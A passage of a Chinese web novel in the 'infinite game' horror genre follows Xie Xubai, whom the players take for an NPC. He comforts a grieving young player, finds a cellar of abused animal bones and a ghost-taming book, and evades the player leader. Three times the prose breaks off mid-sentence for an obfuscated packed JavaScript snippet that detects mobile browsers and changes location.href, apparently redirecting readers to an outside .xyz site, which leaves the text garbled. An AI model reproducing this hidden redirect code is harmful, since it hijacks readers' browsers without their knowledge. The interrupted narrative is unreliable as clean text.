见谢叙白狐疑抬头,许清然先噗呲一声笑了出来,脸上带着恶作剧得逞般的轻快,又似乎含着对现状的轻嘲:“算了,我就算告诉你又有什么用,你们又没法‘听见’。” 就在刚才,许清然的声音落入谢叙白的耳内,瞬间变成另外一句话:“我们只是一群旅客。” 然而她不知道,同一时间,谢叙白脑海中又响起了同样的声音。 【我听到她说,他们是玩家。】 所有玩家都知道,他们的身份无法向副本里的人提及,一些透露真相的话语会被系统扭曲,变得词不达意。 所以哪怕NPC在场,他们的交谈也毫无顾忌。 比如谢叙白刚才昏睡的时候,没人去确定他是否真的昏迷,反正他也‘听不见’。 却不知道,一个异类横空出世,不止能听到他们真正的对话,还完全认清了他们的身份。 看着一无所知的许清然,谢叙白状似多愁善感地点明:“旅客……如果有固定的安居之所,又怎会需要和各类形形色色的人到处奔波呢?” 青年充溢着怜惜的眼睛,仿佛看透许清然那颗饱受波折、不安动荡的内心,含着让人吐露真话的魔力:“如果清然想要倾述的话,我愿意倾听。” 11. 第十一章 谢叙白说愿意倾听许清然的倾述,并不是演出来的空话。 他初次打量这个队伍时就发现,许清然的地位很尴尬。 其他队友经验老道,她却表现得像个纯粹的新手小白。 不知道该干什么,没有能力,不受重视甚至是被排挤和歧视。队友分析情况她插不上嘴,遇到危险除了严岳也没人愿意救她。 就像大海里的一滴水,篝火中溅出的火星,可有可无。 迷茫,自卑,压抑,痛苦。 如果不是这些负面情绪将许清然压得喘不过气,她不会轻易相信一个NPC的表面体贴。 更不会在谢叙白扑上来救她的时候,流露出那样不敢置信的眼神。 乃至于之后板寸男想要伤害谢叙白,她想都没想,第一时间去护住青年。 谢叙白清楚许清然所面临的困境。 他将自己代入对方,想到那时的自己会如何痛苦、如何不安,由此眼神愈发怜惜,温柔得仿佛能掐出水来。 他的心疼并非作假,他在试图和许清然感同身受。 被这样的谢叙白温和注视,许清然自进入副本以来,第一次产生自己被全心全意地重视着、并非空气人的感觉。 她怎能不为之动容? 可许清然也有顾忌。 如果真如老板所说,诡王并非被坑害,而是天生凶煞,按照副本的走向,他们两方一定会打起来。 到时候,被诡王在意的谢叙白,也会站在他们的对立面。 见许清然目光颤动却没吭声,谢叙白心里疑惑。 略微思索,他猜到可能是胖男人刚才那番话造成的影响。 问题不大。 没有继续追问,谢叙白朝许清然安抚地笑了笑,身子后靠,假装体力不支的模样,静等药效发作。 岂料三分钟后,旁边忽然传来女生沙哑沉重的声音:“……你猜得对,我当初并不是自愿过上这样的生活。” “我们大部分人都不是。” 谢叙白顿了顿,转头看向许清然。 许清然问道:“你知不知道我最喜欢吃的东西是什么?” 不待青年回答,她又自顾自地回答:“是老妈做的鸡蛋面。” 话说到这里,许清然的眼眶已经红了一圈。 她仿佛被刀卡住喉咙,嘴张开,又合上。泪水在眼眶里打转,倔强地不肯掉下来。 她的双手不知不觉揪起被子,心里反复强调:不能哭,不能哭。 可是…… “可是,我再也吃不到了。” 说完这话,许清然眨眼才发现有什么东西掉了下去,慌张地用手捂住眼睛,滚烫的泪水沾满掌心。 她又在心里疯狂地说着不能哭,哭是最没用的行为,可谁知道眼泪越抹越多。 直到眼前一片模糊,她哑声呜咽:“我试过自己煮,一样的调料,一样的步骤,我煮了几十上百碗,可那味道就是不对……怎么都不对!” 拥有的时候不觉得有多珍贵,失去了却总忍不住回忆痛悔。 许清然想起几年前自己在家里抱着手机刷视频,乐得笑出猪叫。老妈嫌弃地看过来,说她这个蠢样子,以后要怎么进社会。老爸也在旁边乐乐呵呵地笑。 当时的她不以为意,不耐烦听唠叨,哼哼唧唧地耍宝:这破社会谁爱进谁进,我要做爸妈一辈子的小宝贝。 然后无限游戏降临。 她没了妈妈,没了爸爸,最后也没了家。 那天到来时爸妈穿的什么衣服?最后一刻有没有和爸妈说过话?她有没有和爸妈说过自己很爱他们?爸妈离开的时候会不会很痛苦?…… 已经记不清了,越想只会越崩溃。 许清然听到压抑到极致的哭腔从自己口中迸发出来,却细微到几不可闻,就像她本人一样无力,终于忍不住爆发:“为什么我什么都做不到?为什么我会这么废物?!” 谢叙白看着疯狂擦眼泪的许清然,一愣,猛然发现自己误会了一件事。 初见严岳等人,他见这群人身上带着刀口舔血的凶恶气息,队内遵循弱肉强食的潜规则,毫无顾虑地对无辜人出手,便以为玩家类似于雇佣兵,是唯利是图的亡命之徒。 可许清然的话和反应,打破了他的这一个观点。 她说她不愿意过这种生活,他们大部分人都是被迫的。 且有很大可能,许清然的家人全都因此丧命,不然她一个渴望安宁的人,不会冒着危险流浪奔波,还要自责自己无能为力。 “玩家”、“游戏”、“副本”。 对脑洞大开的现代人来说,只需要几个关键词,分分钟就能联想到一系列故事内容。 可不等谢叙白往深处细想,脑袋猝然开始作痛,痛感远比第二次还要汹涌强烈。 仿佛无名的力量在警告他,这不是他现在能认知的“知识”! 在这紧要关头,谢叙白只能克制自己不要胡思乱想。 回头见许清然哭得上气不接下气,慌忙地下床拿纸巾。 “乖,不哭了。”他柔声安慰。 在大哭一顿发泄完之后,许清然忽然感觉到一阵难以抵抗的疲惫,困得睁不开眼睛。 不止是安神药在发挥作用。 作为洗牌后的新玩家,她没有老玩家的抗压能力,进副本以来一直绷紧神经,身体早已在摇摇欲坠的边缘。 眼皮合上前,她深情地看向谢叙白,目光涣散悲悸,似乎想要透过青年的身体,望向那高高在上的神明。 “我想回家……”女生轻声呢喃。 抛开谢叙白的作弊能力不谈,许清然其实没有透露什么信息。 她说的那些话,套在任何一个家庭突逢变故的人身上,都适用。 不管谢叙白对她有多好,不管她对谢叙白有多心动,也不管副本规则对她这样的新人有多残忍。 她始终坚定地站在人类这边。 “……”谢叙白垂眸不语,将倒在床边的女生抱上床,给她仔细地掖好被子。 阴魂们随后出现,碰了碰他的手指。 谢叙白回神,环顾满屋子的黄色符箓,想起来问:“这些符纸不会对你们造成影响?” 阴魂们很是不屑地上下晃动,这种威力的符纸怎么可能伤得到它们? 谢叙白便安了心,拍拍它们的脑袋:“你们找到了什么?带我去吧。” 他之前吩咐阴魂们不要轻举妄动,这时候突然来找他,应该有什么重要发现。 屋外雷声大作,粗长的银白闪电若游蛇一样穿梭在云层中,乌云挤压天空,黑压压的不见光亮。 但细看才知道,那乌云竟是由密密麻麻的怨魂组成的。而那不间断的雷鸣和闪电,自然是玩家们使出的攻击招数。 双方打得不可开交,依旧是玩家占据上风。 可和白天的战斗比起来,他们明显要吃力很多。 不是玩家变弱了,是这些怨魂的力量得到了增强,仿佛在给玩家敲响死亡倒计时。 发现这一点的玩家同样慌张:“副本在提高难度!” “可恶,明明还不到第三天,难道是因为我们提前触发了隐藏剧情?” 玩家自顾不暇,没有注意到底下的谢叙白。后者借助屠宰场的建筑隐蔽身形,一路来到厂房的背后。 这里更加荒凉,地上全是碎石子,连杂草都很少看见。有一座枯井,可是很久没用,石砖上长满青苔,里面的井水早已干涸,散发着难闻的腥臭味。 谢叙白打开手机的手电筒,光照入深井,除了石头就是土,仍然没有看到需要注意的东西。 见阴魂们一直在枯井周围徘徊,他没有多犹豫,拿起捆在木桶上的绳子,用力一扯试了试结实程度,对其中一道阴魂说:“你留在这里警戒,帮我看有没有人过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579658|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴魂点头。 谢叙白将绳子在手腕上缠绕两圈,望着快十米深的井下,深吸一口气,学习电视里看到的攀岩动作,笨拙地下井。 哪知道井壁下面也长满湿滑的青苔。 “……!” 他一脚踩下去,直接打滑,强烈的失重感传来,心脏简直快蹦出嗓子眼。 要不是眼疾手快地攀住井沿,好悬没有摔成肉泥。 阴魂们急急忙忙托住青年的身体,谢叙白死死拽住绳索,大脑空白两三秒才缓过来,心有余悸地吐出一口气:“我之后要是有时间,一定要去报个攀岩训练班。” 阴魂们怜爱地拍拍他有些颤抖的手指。 十米看似很深,但下来也就几十秒。 谢叙白正准备落地,忽然目光一凝,从泥土的新旧区别发现端倪。 他吊在半空,伸出一只脚,踹向湿润的新土。 只听嘭的一声,底下竟传出木板隔层被撞击的声响。 见真有机关,谢叙白眼前一亮,立马如法炮制,又狠狠地踹上几脚。 嘭,嘭,嘭——! 木板终于被踹开,上面铺却的泥土唰啦啦往下掉。 一股血腥气扑面而来,比刚才还要浓烈刺鼻十几倍! 谢叙白连忙掩住口鼻,闭紧眼睛,如此坚持好几分钟,那能熏得人当场昏厥过去的臭味才缓缓散开。 此时绳子也拉到了头,他大概估摸一下高度,手一松往下跳,落地还算平稳。 这里好像是个地下室。 谢叙白试着往前走。 没几步,脚尖撞到个东西,半椭圆形,质地脆,在地板上骨碌碌地滚上几圈,咔嚓不动了。 他低头看去,又是瞳孔骤缩。那被踢开的东西竟然是个头盖骨! 准确地说,是狗的头盖骨。 谢叙白脚步刹停,嗅着萦绕在鼻前的血腥味,心里萌生出一股不祥的预感,再次打开手电筒,照亮昏暗的四周。 只见偌大的地下室,四面八方都堆着猫狗的骨头,像是被强行从身体里拽出来,或是用工具分割,部分血肉还粘在骨头上,随时间腐烂发黑。 没有完好的骨头,要么碎了一半,要么断成几节,不知道是生前还是死后,被人用利器硬生生砸碎。 它们小山似的堆砌在一起,数都数不清,放眼望去,俨然就是一个小型乱葬岗。 “……”谢叙白不忍继续看,完全说不出话,握紧的拳头咔嚓作响。 阴魂们牵住他的手指,示意他目光往前。 就在正前方,赫然放着一个保险柜。 谢叙白连忙走过去,发现保险柜上了锁,需要钥匙才能打开。 正当他想着要怎么从胖男人那里搞来钥匙的时候,阴魂们忽然汇聚在一起,刹那爆发出极大的力量。 随着一声震耳欲聋的巨响,竟是硬生生把合金制的保险柜给砸开了! 成功得手的阴魂们再度散开,在谢叙白的眼前蹦来跳去,似乎在自豪地邀功。 夸我夸我快夸我! 谢叙白见小家伙们如此能干,惊喜地夸道:“干得真棒。” 被夸奖的阴魂跳得更加欢快,脑袋都高挺了不少。 只是发出这么大的动静,很可能已经引起其他人的注意。谢叙白没有耽搁,伸手探入破开的保险柜中,取出一本书。 书页表面泛黄,没有书名,看着已经有些年头,入手竟隐约透着丝丝浸入骨头的凉意。 再一翻,书中都是些古文字,晦涩难懂,但借助那莫名的念白,谢叙白阅读起来毫无障碍。 【我看到书中记载:狗生性忠贞,于万众驭物中当为上乘,只可惜身为牲畜,愚智不开,力量有限,若能以秘法驯化……】 谢叙白的瞳孔倒映着那些文字,心脏扑通扑通越跳越快。 他终于知道胖男人曾经做过什么,也终于找到了帮平安脱困的办法! 12. 第十二章 就在这时,异变突起。 昏暗幽静的地下室凭空刮起一阵诡异的阴风,风力极大,冰冷刺骨,从谢叙白的耳畔呼啸而过,撞得所有骨头疯狂抖动、夸嚓作响,好像它们将要活过来一样! 谢叙白猛然抬头,本能快过大脑反应,拿着书全力冲向出口。 可凭他久坐办公室的废宅身体,想要爬上枯井也需要一段时间。 谢叙白的手刚握住绳索,还没来得及用力,脚踝就传来一阵巨大的拉扯力,竟将他硬生生地拽飞了回去! 嘭!谢叙白的后背重重地撞进骨堆,激得白骨纷飞。 也是因祸得福,密密匝匝的骨头卸掉不少撞击力,只叫他痛得眼前一黑,没有直接昏过去。 他刚踉踉跄跄地站起身,便听到耳边传来尖锐到破音的吼叫。 “喵嗷!!”“吼——!”…… 是阴魂们。 诡怪本就由怨念滋生,最易受情绪影响。看见想要保护的青年在自己眼皮子底下受伤,心里岂止是震怒? 刹那间,阴魂们纷纷露出青面獠牙,狰狞身躯,疯狂地冲上去扑咬袭击者! 袭击者猝不及防,痛嚎惊怒,不得不停下来应对。 也是这时,谢叙白得以看清它的真面目。 他瞬间忘记呼吸。 那是一头高得几乎能顶到天花板的怨魂巨兽,漆黑无瞳,头颅巨大,被凝视时一股凉意径直窜入后脊梁,仿佛能感受到它内心的滔天憎怨。 巨兽杀伐果断,实力同样强大得惊人,和阴魂们打得不可开交。 砖瓦破碎,地板墙壁裂开细纹,厚重的灰尘扑扑簌簌地从天花板往下掉,动静越传越大。 谢叙白清楚地知道,自己一个普通人,留下来也是拖后腿,便没有回头。 可在他重新握住枯井绳索的刹那间,一声痛苦的叫声从身后传来。 “喵嗷!” 谢叙白猝然转身。 有一只阴魂被巨兽咬住了! 见小猫痛苦挣扎,他满脑子不是害怕恐惧,是难以遏制的怒火和焦灼。 汹涌的情绪刺激肾上腺素急剧分泌,此时此刻他的大脑异常清晰。 ——驭诡的书就在他的手里,这头丑陋的东西凭什么敢伤他家的猫狗?! 电光火石间谢叙白将手收回,翻开古书,眼神出奇专注,死死盯住每一个快速翻动的文字。 克制这头怪物的办法……在哪?在哪? 在哪?! 当看到某一段文字的时候,谢叙白的眼睛猝然定格。 他心跳很快,啪的一下将古书合上,反向扎进那几堆被撞得七零八落的白骨山。 巨兽对打时一定会避开自己的本体,选择的范围瞬间缩小一圈。 谢叙白让自己强行镇定下来,以最快的速度东翻西找。 终于在摸到一个半缺的头盖骨时,巨兽陡然发出一声惊恐的咆哮,竟然不顾阴魂的攻击,也要向他扑来。 找到了!谢叙白想也没想,当着巨兽的面,用力将那头骨砸在地上。 “吼!!” 凄惨的痛叫响起,巨兽的脑袋裂开一道缝,疼得前仰后合,从半空重重地摔了下来。 阴魂们见状大喜,正想趁它病要它命,听到青年叫了一声“回来”,立马收敛凶恶相,飞快回到他的身边。 谢叙白眼疾手快地找到刚才被咬的那只阴魂,捞过来检查。 幸好小猫机灵,当场反咬回去并趁机逃脱,没有出什么大事。 就是留下了一个碗大的伤口,看得谢叙白心疼不已。 小猫不喜欢被人翻来翻去,也不服自己居然没打过巨兽,强烈想要回头再打一遍,不满地哼唧。 只是一抬头,看到青年蹙着眉头懊悔至极的样子,那股睚眦必报的战欲忽然就散了个干净。 “喵。”它低下脑袋,蹭一蹭青年的手腕,咪咪呜呜地叫。 谢叙白抓住这几道阴魂,一起收进袖子里。 忽然他看见留守井口的阴魂飞了下来,便知道有人发现这边的动静,正在快速赶来。 无论来的是玩家还是胖男人,他都不好收场。 谢叙白当机立断,看向那头还在痛苦吼叫的巨兽,冷声命令道:“摧毁这里,把我带上去,别让其他人看见。” 巨兽龇牙咧嘴,还想挣扎,见青年举起头骨威胁,只能遵命。 同一时间,井外,屠宰场。 玩家们都不是聋子,也不是傻子。 枯井所在的方向闹得震天响,地上却没有看到什么异常画面,他们立马猜到动静来自地底,井下应该藏有密室。 可一并听到动静的怨魂们忽然发了疯。 不,应该说它们本来就很疯,那一瞬间变得更加不要命,拼着魂飞魄散的风险,也要阻拦他们前去探查。 是谁在操控他们?那边有什么不能被发现的秘密? 不等玩家们细究下去,原本畏头畏脑的屠宰场老板不知道从哪个犄角旮旯冲了出来,手里还举着一把大砍刀。 他好像突然豁出去一样,边挥动大砍刀,边愤怒地大叫:“你们这群死东西,我和你们拼了!来啊,就是我杀的你们,有本事就杀了我,为什么要伤害其他人?” 看到他出现,怨魂们眼中的仇恨暴涨,几乎化为实质。 却似乎碍于那把大砍刀的威力,始终不敢上前。 胖男人继续大叫,就是表现得笨手笨脚,哪怕手中有武器,也砍不到几只怨魂。 玩家们连忙一拥而上,将他解救出包围圈。 自然而然的,数道目光不受控制地凝聚在那把大砍刀上。 那是一把平常样式的斩骨刀,但做得极其宽大,几乎能和柴刀比拟。刀身厚重,刀锋锐利,表面残留着暗红色的斑痕,好像洗不净的血迹。 一看就不是一般的道具。 见玩家们都被砍刀吸引,胖男人眼中划过一抹得逞的暗色。 他没有得意多久,枯井那边突然传出一声震天动地的巨响,整个地面都仿佛随之颤抖。 再一看,别说枯井,连带着枯井旁边的那座小厂房都一块被掀翻了! 巨兽昂首悬于高空,周围被影影绰绰的漆黑怨魂环伺,看不清具体身形,包括被它藏在怀里的谢叙白。 在它猛烈的撞击下,各种铁皮、内部机械部件如同天女散花般落下,噼里啪啦砸了满地。 “我艹他……!” 胖男人心急上火,差点忘记自己还在和玩家演戏,好悬才憋住。 他捂着胸口不断吸气,艰难地忍。 可还不等他缓过来,巨兽目光一凛,直愣愣地冲向仅剩的另外两座厂房。 嘭! 同样的震耳欲聋,同样的天女散花。厂房强拆,变成废墟。 胖男人白眼一翻,差点厥过去,痛苦地哆嗦出声:“畜生啊——” “糟了,许清然还在那边!”眼见巨兽调转矛头,冲向住宿区,严岳将胖男人交给其他队友,迅速赶过去救援。 他凌空挥出一道亮白的剑气,巨兽被击中,似乎不堪忍受地后撤,露出底下半残的楼房。 透过天花板被抓开的大窟窿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579659|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能隐约看到房间里幸存的两个人。青年将女生护在怀中,后背全是土砾石灰。 许清然一睁眼,看到的就是谢叙白咬牙忍痛的模样。 落石淅淅沥沥地从青年身上滚落,他的脸色惨白,撑起的双臂轻颤,见她醒来,咧嘴扯出一个庆幸的笑:“还好你没事。” 许清然心脏狠狠一咯噔,见上方有块吊着半截钢筋的石头,连忙拉着谢叙白一同撤开。 “刚才出了什么事?那头怨魂在袭击我们?我怎么睡着了?”她满脑子雾水,但看着四周的残垣断壁,没多久就反应过来发生了什么,大骂青年一句,“你都还有伤为什么要帮我挡,你傻不傻啊?!” 那话里心痛居多,许清然拽住谢叙白:“快,我们快离开这。” 等到两人顺着楼梯撤离,严岳也已经将巨兽暂时击退。 怨魂同时散去,一群人到相较安全的空地会合。 其余玩家虽然不把许清然放在心上,但见队友完好无损,也不由得神色稍缓。 要说唯一痛不欲生,大概就是自家屠宰场被摧毁一大半的老板。 他捡起落在地上的碎铁皮,望着一片狼藉的废墟,气得浑身发抖。 严岳带着几名玩家前去安慰他,顺便继续套话,却被一把抓住。 他愕然低头,对上胖男人布满红血丝的眼睛,后者字字含恨:“只要诡王一日存在,这些怨魂就一日不会消停。你们已经被怨魂盯上,如果不尽快采取行动,大家都得死!” 严岳说不出反驳的话。 按照副本的尿性,怨魂绝不会只出现这两次,没准还有三四五六七八次。 这一次他们是挡住了,可也逐渐感到吃力。 万一到了明天,怨魂实力再度翻倍,他们又该怎么办? “普通的怨魂聚集都这么可怕,诡王想必更甚。”严岳意有所指地看向胖男人持有的大砍刀,“我们需要一把更加趁手的武器。” 胖男人闻言,缓缓露出一个诡谲的微笑:“我知道。” 十分钟后,严岳等人返回聚集地,发现许清然正在给谢叙白上药。 青年外套反穿,撩起衬衫下摆,露出后背,似乎有些不好意思,一直抿着唇,目光闪烁。 一个男的,这么扭捏娇气。 严岳摇了摇头,直到下一秒看见那青紫交错、惨不忍睹的伤势,表情微微一愣。 许清然没有给人上药的经验,下手时轻时重,可青年都忍了下来,没有吭一声。 “……”严岳自然不知道谢叙白还被巨兽摔了一下,看向队友,“怎么伤得这么严重?” 队友努努嘴:“怪物压垮房顶,他当时冲上去护着许清然,石头全砸他身上了。” 说完,再一看抿紧唇瓣的谢叙白,这些玩家的看法也在不知不觉发生改变:“倒也是条硬汉,要不是NPC,我一定拉他进我们的公会。” 严岳不置可否。 他走过去,见谢叙白虽然没呼痛,但身体颤得厉害,无奈地按住许清然:“好了,你别折磨别人了,让我来吧。” 药膏涂在皮肤上,力道出乎意料的轻柔。 “啊。”忍痛的青年似乎才反应过来身后换了人,转头看见严岳不苟言笑的脸,有些拘谨地喊,“严……”仿佛不知道该怎么称呼,他卡壳。 “你比我小,叫我严哥就行。”严岳随口道,“你叫谢叙白,对吧?是个好名字。我有件事想拜托你。” “嗯……什么事?” “你投喂的那条流浪狗在什么地方?” 谢叙白的眼睫猛然一垂。 13. 第十三章 如果严岳只是单纯地问一句,谢叙白有几十上百种说辞糊弄过去。 但男人的口吻不咸不淡,更接近于一种明目张胆的试探。 果不其然,严岳很快找了个借口将许清然支开,接着又道:“建议你慢慢想,不要着急回答,更别企图用拙劣的谎话搪塞我。” 谢叙白的思绪千回百转,抬眸时已有计较,顺着严岳的话改变语气:“我不知道你是什么意思。” 青年的背部肌肉恰到好处地绷紧,而帮他上药的严岳自然没有忽略这个“破绽”。 男人毫不客气,直接挑明,字字珠玑。 “你明知道许清然不是附近的居民,说要领养流浪狗只是接近你的幌子,但你什么都没问,甚至在我们展现出非凡的杀伐手段时选择留下。如果不是心大,那就是别有目的。” “是为了你喂养的那条流浪狗,对么?” 他一字一顿,低沉的声音带着无法抵抗的压迫力:“或许我们更应该尊称它为——诡、王。” “……!” 谢叙白上身一僵,呼吸急促,宛如被这突如其来的重.磅炸.弹砸得头晕目眩。 事实上谢叙白确实有些惊讶,因为严岳推断的全对。这个男人能被玩家推举出来担任临时领导者,看起来是实至名归。 接下来便是沉默,长时间的沉默。 远处的玩家似乎没有注意到这边剑拔弩张的氛围,在那边交头接耳,讨论接下来的策略。 热络的谈话声不间断地传来,愈发衬托出这一小片空地的死寂和冷清。 严岳以守株待兔的猎人姿态,继续慢条斯理地给谢叙白上药。 终于,青年像是承受不住无形的压力,妥协般开口:“说诡王恶贯满盈,为祸四方,那只是老板单方面的说辞,你们真的打算相信他?” “为什么不?”严岳意有所指地诱导,“毕竟我们得到的信息有限,除非有热心市民愿意提供更多的情报。” 热心市民谢叙白敛眸沉声:“我不知道什么才是你们想要的情报,但至少我清楚,一个卫生检疫合格的城市,不会无端出现几百上千只疯狗疯猫。” 很正常的逻辑思路,却让严岳忍不住一愣。 试炼副本经历得多了,他们已经对怪物感到麻木,哪怕怪物数量多,也只会怀疑是副本在提高难度,很少考虑故事背景外的合理性。 说来也凑巧,刚才严岳带人去枯井那边探查,发现底下有大量的猫狗尸骸,不难看出被虐.待的痕迹。 老板的脸色当场变得青一阵白一阵,咬牙主动袒明,他确实有那种丧心病狂的嗜好,怨魂杀他是冤有头债有主。 重点来了。 如果没有谢叙白的提醒,哪怕知道老板是坏的,严岳也会借助他的力量对付犬害,只因《犬害》才是本场试炼的根源。 玩家并非不知道老板的恶心,也并非不想惩恶扬善。 但比起通关副本活命来说,道德感实在是个奢侈至极的东西。 反而因为老板暴露出本性和软肋,他们会更加相信对方提供的手段,毕竟不会有比老板更希望诡王和怨魂消失的人了。 但是没有如果。 谢叙白及时点醒了严岳。 ——如果狂犬病的大量出现另有隐情,而屠宰场老板就是幕后主使,那他一定隐藏着不为人知的阴谋,玩家帮他对付诡王,才是上赶着送命。 谢叙白见男人眉头紧锁,便知道怀疑的种子已经埋下。 只要玩家多一分疑心,胖男人的诡计就绝不会进行得那么顺利。 还剩下最后一个问题。 胖男人应该早就将平安的位置告诉给了严岳,严岳却只字不提,无疑是想让他帮忙带路,再挟持他为人质威胁平安。 这是谢叙白绝对无法忍受的。 眨眼的间隙,他的眼神再度变化,放下衣服转过身,与严岳对视:“所以我绝对不会告诉你们它在什么位置,它和那些怨魂一样,都是受害者。” 青年语气坚决,满目悲怆,很符合严岳对他的刻板印象。 一个会为不认识的女生挡下致命攻击,会为诡怪只身犯险步入屠宰场,以为所有人都会站在正义一方的大好人。 严岳眼中掠过一抹复杂之色,闭了闭眼,再开口时亦换上无奈的笑脸:“它们是无辜的,但让它们继续饱含仇恨地活在这世上,对它们来说真的是好事吗?难道你一点都感受不到它们的痛苦?” 青年一顿,抿紧唇瓣,似乎被问得哑口无言。 “我们并不是要伤害它们,而是找机会让它们解脱。如果不这样做,假以时日它们会失去理智,变成真正的恶诡,谋害更多人的性命,那些被伤害的人又何其无辜?包庇怪物同样是在害人!” 在他接二连三的劝说下,谢叙白原本坚定的目光逐渐动摇。 “……好。”他仿佛被说服了,嗓音沙哑得像是磨砂纸,“再给我点时间,我会送它最后一程。在此之前,我还想再为它做一顿饭。” 严岳拍了拍他的肩膀,表示赞赏:“可以,你回去之后好好冷静一下,一会儿我让人护送你回家。” 纵观严岳的话术,先是敲山震虎,后又以退为进,软硬兼施的手段运用自如。 但他唯独疏忽了一点,那就是自以为能拿捏住谢叙白。 三个小时后。 名义护送、实则监视谢叙白的玩家慌张联络严岳,说人在超市买食材的时候逛丢了。 “我找遍超市都没看到他的踪迹,放在他身上的追踪器显示离线,他家里也没人。” 严岳脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579660|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一沉:“追踪道具也用不了?” “用不了!诡王的力量庇护着他,任何攻击、控制、寻踪类道具都无法选定他为对象。” 严岳揉捏青筋暴跳的太阳穴,万分懊悔自己因为谢叙白是个普通人而小瞧了他。 有人宽慰道:“没事,我们的人正在监视小巷口,既然诡王在那,那他早晚都会回去。” 严岳道:“他可以选择晚上十天半个月再回去,我们却等不起。” 喜欢和严岳唱反调的板寸男逮着机会狂开嘲讽:“咱们的严会长真是越活越回去了,居然能被一个NPC耍的团团转。” 严岳脸色难看,没有反驳:“这次是我的思虑不周,对不住各位。” 见他直截了当地承认失误,板寸男反而有些别扭,不以为意地摸了摸鼻子:“我们不是拿到老板的刀了吗,那武器对该副本诡怪有震慑效果,用它抗住怨魂不就行了?” 严岳摇了摇头:“不,绝对不行。” 面向玩家们不明所以的眼神,他一字一顿地解释:“别忘了这是诡王主场的副本,如果我们这七天只需要躲避怨魂,那要诡王有什么用?” 一名玩家反应过来,胆战心惊地问:“你是说诡王最后一定会出手?可它看起来……” “看起来杀心不重,对吧?这才是问题所在!”严岳看得通透,眼神极其严肃,“诡王不想杀人,但副本系统绝不会允许这种‘不合常理’的事情发生,很大可能会强加干预,到时候才是真的十死无生!” 玩家哗然,面面相觑。 轰——! 仿佛应召着严岳的话,窗外平地响起一声惊雷,乌云密布,飓风呼啸。 在场所有人脸色骤变,只因脑子里突然响起的系统提示音。 【叮,因长时间未进食血肉,A级诡王“平安”饥饿值提升,烦躁值提升,已逼近阈值。二十四小时后,诡王将正式进入狂暴状态。】 【狂暴状态:嗜血暴怒,失去理智,无差别杀戮,直至千里内无一活物。 (一群可怜弱小的虫子们,在暴怒失控的诡王面前你们能有什么抵抗之力呢?别犹豫了快跑吧,这是最真诚的忠告。) (噢噢噢,真不好意思,忘记你们的活动范围只在百里内,既然这样,那就……一路走好?)】 同一时间,谢叙白一手拿着森白的头骨,一手持着驭诡古书,静静看向面前蔫头耷脑的巨兽怨魂。 狗子平安的地盘,那些玩家虽然只敢远观不敢靠近,但一定会守在巷子口观察。 他没回去,却相距不远。 玩家大概怎么都没想到,谢叙白竟然直接在巷子旁边的小区里租了间民宿,就在他们眼皮子底下。 所谓最危险的地方就是最安全的地方,虽俗,但一直有用。 14. 第十四章 怨魂态的巨兽通体漆黑,周身环绕着令人发寒的煞气。它蜷缩在沙发角落,庞大的身体起起伏伏,一双森冷仇怨的眸子直勾勾盯着谢叙白,不时发出一声痛苦压抑的喘息。 谢叙白以为是本体头骨被砸出一条缝,让它痛到了现在。 结果让阴魂们将头骨拿出来一看,骨头表面光滑完整,那条缝居然早已愈合。 谢叙白皱了皱眉头,翻看古书,终于找到症结所在。 原来这骨头已被秘法炼化,认屠宰场老板张斌为主,不管何时何地,怨兽都得听从那人的命令。 张斌眼睁睁看着自己奴役的诡砸了自己的场子,怎么可能不愤怒?这阵儿估计还在气急败坏地召回怨兽。 怨兽气喘不匀,正是在苦苦抵抗。 谢叙白叹了口气:“既然你知道自己事后会被清算,为什么要那么冲动?” 他本想靠控制怨兽掌握张斌的动向,便只下令让它消灭自己潜入地下室的痕迹。 哪知道怨兽对张斌的恨意那么大,几乎是迫不及待地冲了出去,借机将整个屠宰场搅得天翻地覆。 它是爽了,可也彻底暴露自己背主的事实。 被炼化的诡无法抵抗主人的意愿,等怨兽的意志被消磨殆尽,回到屠宰场,心肠歹毒的张斌必定不会放过它。 听到青年的询问,怨兽大脑袋一偏,重重地哼了个响鼻,宛若发出轻蔑的嗤笑。 它对胖男人满腔怨恨,不代表就会对闯入领地的谢叙白有什么好感。 谢叙白倒也没说什么,转过头去翻箱倒柜。 民宿的居家用品都比较齐全。谢叙白找到工具箱,从里面取出镊子,又拿来一把水果刀,仔细用白酒消毒。 刀下正是怨兽的本体头骨。 怨兽神色一变,死死盯住谢叙白伸出去的手:“吼……!” 它以为青年想教训自己,就和不断劈砍头骨逼它听话的张斌一样。 却没想到,先触碰到骨头的不是锐利的刀锋,而是青年温热的指尖。 那一点热意微乎其微,但放在冰凉的骨头上格外明显。 